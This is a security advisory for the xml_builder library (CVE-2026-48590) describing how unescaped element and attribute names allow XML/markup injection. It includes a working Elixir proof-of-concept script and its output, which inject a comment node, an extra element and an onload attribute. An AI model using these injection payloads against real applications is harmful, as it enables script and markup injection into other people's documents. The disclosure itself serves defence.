Skip to content

Element and attribute names injected verbatim into markup

Low
joshnuss published GHSA-r82p-3q2p-728w Aug 21, 2026

Package

erlang xml_builder (Erlang)

Affected versions

< 2.4.1

Patched versions

2.4.1

Description

Summary

xml_builder 2.4.0 emits element names, attribute names and doctype identifiers verbatim into its output. Any caller that lets attacker-influenced data flow into a "name" position (e.g. building elements from a JSON object's keys, an HTTP form field, etc.) lets the attacker break out of <tag attr="…"> and inject arbitrary markup — extra elements, comments, event-handler attributes — into a document the library is contracted to produce well-formed.

Introduced in commit #2 in 2014: 9fb4913

Details

Every format({name, attrs, content}, level) clause in lib/xml_builder.ex builds output by interpolating to_string(name) directly between <, >, and whitespace, and format_attributes/1 does the same for attribute keys between and ="…". Nothing checks that the resulting string is a legal XML Name (no <, >, ", ', &, whitespace, etc.) and nothing escapes structural characters. The doctype path has the same shape: system_identifier and public_identifier are spliced between " quotes without rejecting embedded " (or > for system identifiers).

Concretely, a name like

x><!-- … --><inject evil="yes"

is emitted as <x><!-- … --><inject evil="yes">…</x><!-- … --><inject evil="yes">, and an attribute key like safe="ok" onload="alert(1)" lands inside the start tag as an additional, attacker-controlled attribute. xml_builder is the component charged with producing well-formed XML, so accepting names without validating or escaping is a sink defect rather than something each caller is expected to defend against.

PoC

The attached script element_and_attribute_names_injected_verbatim_into_markup_179.exs encodes the realistic threat model: an application uses the library's documented public API (XmlBuilder.element/3 + XmlBuilder.generate/1) to serialize data whose field names come from outside (a JSON key, an HTTP form field name, etc.). No special privileges or configuration are required — the attacker only needs to influence the "name" string passed into element/3.

The script calls

XmlBuilder.element(malicious_tag, %{malicious_attr_name => "v"}, "inner")

where malicious_tag contains >, <, !--, and a fresh <inject evil="yes" start tag, and malicious_attr_name contains " followed by an onload="…" attribute. Because format/2 and format_attributes/1 simply concatenate these strings into the markup, the output contains a comment node and a new inject element that the caller never asked for, plus an attacker-controlled onload= attribute on the outer element. The script prints the generated XML and asserts three predicates against it — joke_in_output?, broke_out_of_tag? (presence of the injected <!-- ATTACKER-INJECTED-COMMENT node) and broke_out_of_attrs? (presence of onload="alert). When all three hold, it prints a VERIFIED: line, which is the signal that the bug reproduces against xml_builder 2.4.0 from Hex. The full script is attached below under "Scripts and Logs".

Impact

Markup-injection / output-integrity bug in a library whose sole job is producing well-formed XML. Any application that uses xml_builder to serialize data containing attacker-influenced keys is affected: the attacker can inject arbitrary elements, comments, and attributes into the generated document, corrupting it for downstream XML consumers and — when the output is rendered as HTML/SVG or otherwise interpreted in a browser — opening the door to script/handler injection. The only precondition is that some "name" argument (element name, attribute key, or doctype identifier) can be influenced by untrusted input; no authentication or special configuration is required.

Scripts and Logs

# Verifies: Element and attribute names injected verbatim into markup
#
# Run: elixir element_and_attribute_names_injected_verbatim_into_markup_179.exs
#
# Threat model: an application uses xml_builder to generate XML from data
# whose keys are influenced by an outside attacker (e.g. building elements
# from a JSON object's field names, an HTTP form field name, etc.). The
# attacker controls the element/attribute "name" string passed through
# the library's documented public API (XmlBuilder.element/3 +
# XmlBuilder.generate/1). xml_builder is the component responsible for
# producing well-formed XML; if it concatenates a hostile "name" verbatim
# between `<`, `>`, `"`, ` ` without validating against the XML Name
# production or escaping structural characters, the attacker can break
# out of the tag and inject arbitrary markup into the output document.

Mix.install([{:xml_builder, "2.4.0"}])

joke = "I used to hate facial hair, but then it grew on me."

# Attacker-controlled "name" arriving through the library's public entry
# point. In a real app this would be e.g. a JSON key the attacker picked.
malicious_tag =
  ~s(x><!-- ATTACKER-INJECTED-COMMENT: ) <> joke <> ~s( --><inject) <>
    ~s( evil="yes")

# Also exercise the attribute-name sink: a hostile key in the attrs map
# breaks out of the attribute list and lets the attacker stitch in
# additional attributes / handlers.
malicious_attr_name = ~s(safe="ok" onload="alert/* ) <> joke <> ~s( */)

doc =
  XmlBuilder.element(
    malicious_tag,
    %{malicious_attr_name => "v"},
    "inner"
  )

output = XmlBuilder.generate(doc)

IO.puts("---- generated XML ----")
IO.puts(output)
IO.puts("---- end ----")

joke_in_output? = String.contains?(output, joke)
broke_out_of_tag? = String.contains?(output, "<!-- ATTACKER-INJECTED-COMMENT")
broke_out_of_attrs? = String.contains?(output, ~s(onload="alert))

IO.puts("joke present verbatim in output? #{joke_in_output?}")
IO.puts("attacker injected new comment node? #{broke_out_of_tag?}")
IO.puts("attacker injected onload= attribute? #{broke_out_of_attrs?}")

if joke_in_output? and broke_out_of_tag? and broke_out_of_attrs? do
  IO.puts(
    "VERIFIED: xml_builder 2.4.0 emits element and attribute names verbatim; " <>
      "attacker-controlled name broke out of `<tag attr=\"...\">` and injected " <>
      "arbitrary markup (comment + onload= attribute) including the joke payload."
  )
else
  IO.puts("NOT VERIFIED: injection did not produce attacker-controlled markup in output")
end

Logs

---- generated XML ----
<x><!-- ATTACKER-INJECTED-COMMENT: I used to hate facial hair, but then it grew on me. --><inject evil="yes" safe="ok" onload="alert/* I used to hate facial hair, but then it grew on me. */="v">inner</x><!-- ATTACKER-INJECTED-COMMENT: I used to hate facial hair, but then it grew on me. --><inject evil="yes">
---- end ----
joke present verbatim in output? true
attacker injected new comment node? true
attacker injected onload= attribute? true
VERIFIED: xml_builder 2.4.0 emits element and attribute names verbatim; attacker-controlled name broke out of `<tag attr="...">` and injected arbitrary markup (comment + onload= attribute) including the joke payload.

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity Low
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N

CVE ID

CVE-2026-48590

Weaknesses

XML Injection (aka Blind XPath Injection)

The product does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system. Learn more on MITRE.

Credits